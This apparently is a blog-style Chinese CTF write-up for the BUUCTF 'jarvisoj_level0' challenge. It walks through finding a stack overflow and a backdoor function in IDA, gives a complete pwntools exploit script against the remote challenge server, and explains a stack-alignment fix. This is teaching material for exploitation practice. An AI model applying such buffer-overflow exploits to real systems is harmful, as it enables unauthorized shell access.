BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
浩浩测试一下33 分钟前
网络安全实战指南:从安全巡检到权限维持的应急响应与木马查杀全(命令查收表)
linux·安全·web安全·ubuntu·网络安全·负载均衡·安全架构
vortex59 小时前
网络安全入门综述
安全·web安全·网络安全
CyberSecurity_zhang1 天前
汽车网络安全 -- 理解暴露面、攻击面和攻击向量
网络安全·信息安全·汽车
摸鱼也很难1 天前
[GXYCTF2019]Ping Ping Ping
ctf·命令执行
摸鱼也很难1 天前
[ACTF2020 新生赛]Upload
ctf
Suckerbin1 天前
pikachu靶场-敏感信息泄露
网络·学习·安全·网络安全
自由鬼2 天前
高性能的开源网络入侵检测和防御引擎:Suricata介绍
网络·安全·网络安全·开源·系统安全·入侵检测
菜鸟小白:长岛icetea2 天前
第十六届蓝桥杯网安初赛wp
蓝桥杯·ctf
ALe要立志成为web糕手2 天前
第十六周蓝桥杯2025网络安全赛道
安全·web安全·网络安全·蓝桥杯
CHTXRT2 天前
2025第十六届蓝桥杯大赛(软件赛)网络安全赛 Writeup
c语言·网络·web安全·网络安全·蓝桥杯·wireshark